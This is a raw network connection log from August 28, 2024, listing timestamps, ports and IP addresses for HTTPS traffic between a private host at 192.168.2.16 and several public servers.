Aug 28, 2024 13:52:53.142668962 CEST	49753	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:53.142721891 CEST	443	49753	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:53.143249989 CEST	49753	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:53.143275023 CEST	443	49753	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:53.143352032 CEST	49753	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:53.143382072 CEST	443	49753	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:53.236208916 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 28, 2024 13:52:53.342391968 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.342629910 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.342648029 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.343028069 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.343096018 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.343700886 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.343759060 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.344635010 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.344716072 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.344786882 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.344796896 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.383146048 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.383435011 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:53.383457899 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.384443998 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.384516954 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:53.384856939 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:53.384906054 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.385140896 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:53.385147095 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.396225929 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.410893917 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.411205053 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.411225080 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.412214041 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.412277937 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.412668943 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.412724018 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.412924051 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.412930012 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.428209066 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:53.434326887 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.434653997 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.434679985 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.435671091 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.435755014 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.436043978 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.436101913 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.436217070 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.436223984 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.459520102 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.459793091 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.459803104 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.460289955 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.460683107 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.460757971 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.461035013 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.461090088 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.461164951 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.461173058 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.491255045 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.507328987 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.514679909 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.515188932 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.515221119 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.515244007 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.515254974 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.515307903 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.515312910 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.522979021 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.523034096 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.523047924 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.523052931 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.523097992 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.523102999 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.523456097 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.523484945 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.523509026 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.523516893 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.523562908 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.527693987 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.527744055 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.527774096 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.527787924 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:53.527796984 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.527832031 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.527832985 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:53.527842045 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.527882099 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:53.527887106 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.527925968 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.527965069 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:53.527970076 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.528465033 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.528520107 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:53.528525114 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.530894995 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.558737993 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.558759928 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.558769941 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.558801889 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.558825016 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.558835030 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.558860064 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.560573101 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.560652018 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.560658932 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.570223093 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:53.570226908 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.574182987 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.574213982 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.574239016 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.574316025 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.574342966 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.574366093 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.574366093 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.574381113 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.574424028 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.574979067 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.575088978 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.575134039 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.575139046 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.575983047 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.576033115 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.576037884 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.586194992 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.592305899 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.592351913 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.592386007 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.592426062 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.592463017 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.592495918 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.592499971 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.592499971 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.592509031 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.592545986 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.593095064 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.593158007 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.593489885 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.593955994 CEST	443	49753	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:53.593976974 CEST	443	49753	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:53.594008923 CEST	443	49753	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:53.594058037 CEST	49753	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:53.594105959 CEST	443	49753	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:53.594141006 CEST	49753	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:53.594367027 CEST	49753	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:53.594367027 CEST	49753	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:53.594369888 CEST	443	49753	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:53.594393015 CEST	443	49753	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:53.594427109 CEST	49753	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:53.594460964 CEST	443	49753	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:53.597135067 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.597197056 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.597218990 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.597229004 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.597271919 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.597278118 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.601231098 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.601270914 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 28, 2024 13:52:53.605745077 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.605966091 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.606019020 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.606023073 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.606638908 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.606705904 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.606709957 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.606745958 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.606791973 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.606796980 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.607511044 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.607548952 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.607587099 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.607593060 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.607634068 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.608370066 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.609141111 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.609208107 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.609213114 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.611025095 CEST	49760	443	192.168.2.16	51.104.136.2
Aug 28, 2024 13:52:53.611046076 CEST	443	49760	51.104.136.2	192.168.2.16
Aug 28, 2024 13:52:53.611119986 CEST	49760	443	192.168.2.16	51.104.136.2
Aug 28, 2024 13:52:53.611355066 CEST	49760	443	192.168.2.16	51.104.136.2
Aug 28, 2024 13:52:53.611368895 CEST	443	49760	51.104.136.2	192.168.2.16
Aug 28, 2024 13:52:53.613590002 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.613641977 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.613646030 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.613697052 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.613739014 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.613744020 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.614037991 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.614078999 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.614088058 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.614093065 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.614135981 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.614588976 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.614770889 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.614794016 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.614815950 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.614820957 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.614845991 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.614870071 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.614876986 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.614905119 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:53.614906073 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.614917040 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.614942074 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:53.614986897 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.615031004 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:53.615109921 CEST	49755	443	192.168.2.16	104.17.25.14
Aug 28, 2024 13:52:53.615120888 CEST	443	49755	104.17.25.14	192.168.2.16
Aug 28, 2024 13:52:53.617197990 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.617208958 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.645567894 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.645575047 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.645776033 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.645782948 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.646207094 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.646214962 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.646277905 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.646285057 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.647113085 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.647145987 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.647178888 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.647186995 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.647207975 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.647986889 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.648056030 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.648062944 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.649434090 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.650315046 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.650384903 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.650391102 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.661501884 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.661536932 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.661571980 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.661592960 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.661601067 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.661768913 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.661798954 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.661827087 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.661849022 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.661853075 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.661887884 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.661891937 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.661952972 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.661990881 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.661994934 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.662087917 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.662142992 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.662184954 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.662190914 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.662767887 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.662801981 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.662817955 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.662822008 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.662858963 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.662863970 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.662868023 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.662902117 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.662904978 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.663587093 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.663639069 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.663641930 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.663697004 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.663722038 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.663744926 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.663748980 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.663784981 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.664364100 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.678925991 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.679136992 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.679203033 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.679210901 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.679547071 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.679609060 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.679685116 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.679692030 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.679697990 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.679728031 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.680373907 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.680429935 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.680435896 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.680469036 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.680512905 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.680512905 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.680525064 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.680558920 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.680569887 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.681308031 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.681344032 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.681355953 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.681363106 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.681399107 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.681405067 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.682127953 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.682171106 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.682178020 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.682183981 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.682223082 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.682229996 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.682950974 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.683000088 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.683007002 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.696302891 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.696336985 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.696363926 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.696381092 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.696393967 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.696413994 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.697052956 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.697082043 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.697108030 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.697113991 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.697190046 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.697601080 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.697633028 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.697640896 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.697705030 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.697706938 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.697755098 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.697921991 CEST	49756	443	192.168.2.16	151.101.194.137
Aug 28, 2024 13:52:53.697928905 CEST	443	49756	151.101.194.137	192.168.2.16
Aug 28, 2024 13:52:53.718116045 CEST	49757	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.718122005 CEST	443	49757	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.729296923 CEST	49758	443	192.168.2.16	104.18.10.207
Aug 28, 2024 13:52:53.729302883 CEST	443	49758	104.18.10.207	192.168.2.16
Aug 28, 2024 13:52:53.735649109 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.735661030 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.735696077 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.735728979 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.735769033 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.735946894 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.735954046 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.736013889 CEST	49754	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:53.736021996 CEST	443	49754	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:53.736187935 CEST	443	49754	162.62.150.176	192.168.2.16
